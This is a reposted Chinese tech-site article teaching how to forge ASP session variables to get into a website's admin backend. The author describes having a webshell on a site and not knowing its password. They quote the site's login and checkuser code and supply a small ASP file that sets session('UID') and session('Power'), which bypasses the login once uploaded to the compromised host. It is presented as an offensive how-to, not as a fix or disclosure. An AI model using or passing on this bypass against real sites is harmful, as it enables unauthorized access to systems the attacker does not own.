当前位置:七道奇文章资讯安全技术网络技术
日期:2009-03-10 08:09:00  来源:本站整理

教你假造Session登陆网站后台[网络技术]

赞助商链接



  本文“教你假造Session登陆网站后台[网络技术]”是由七道奇为您精心收集,来源于网络转载,文章版权归文章作者所有,本站不对其观点以及内容做任何评价,请读者自行判断,以下是其具体内容:

前不久拿到一个站webshell

发现里面有个站程式还不错..可密码一向很难找到..
看登陆考证代码的时刻就想能否可以改正代码..绕过考证拜候后台呢..记的从前nowthk教过我..可怜我这个记性啊..给忘了..又请教了下nowthk...

login.asp的考证代码

<%    dim user_name,user_password,upwr,uID,ukey,cmd,rs
      user_name=trim(request.form("uid"))
      user_password=trim(request.form("pwd"))      
      user_password=jk_md5(user_password,"long")
   if user_name="" or user_password="" then
      close_conn
      response.redirect "../global/systeminfo.asp?flag=1"
   end if  
假定用户和密码为空就返回global/systeminfo.asp?flag=1  这个页面提醒"错误帐号或密码,请重新登陆"
在往下看代码

   session("UID")=rs("UserName")
      session("power")=rs("Power")
      Session("PSW")=rs("PSW")
       rs.close:set rs=Nothing
      set cmd=Nothing
      close_conn
      response.redirect("../system/default.asp")       


假定UID,,power.PSW不为空就返回system/default.asp登陆成功

checkuser.asp代码为
<% 
    
   if session("UID")="" then 
      response.redirect "../gobal/systeminfo.asp?flag=1"
      response.end
   end if  
%>

session("UID")为空一样返回gobal/systeminfo.asp?flag=1
那也就是说只要UID参数不为空就登陆成功

然后把以下代码保存为1.asp


<%
session("UID")="1"
Session("Power")="1"
%>

先拜候1.asp..然后再拜候后台system/default.asp..绕过了考证..看到了后台管理页面


  以上是“教你假造Session登陆网站后台[网络技术]”的内容,如果你对以上该文章内容感兴趣,你可以看看七道奇为您推荐以下文章:
  • 教你假造Session登陆网站后台
  • 本文地址: 与您的QQ/BBS好友分享!
    • 好的评价 如果您觉得此文章好,就请您
        0%(0)
    • 差的评价 如果您觉得此文章差,就请您
        0%(0)

    文章评论评论内容只代表网友观点,与本站立场无关!

       评论摘要(共 0 条,得分 0 分,平均 0 分) 查看完整评论
    Copyright © 2020-2022 www.xiamiku.com. All Rights Reserved .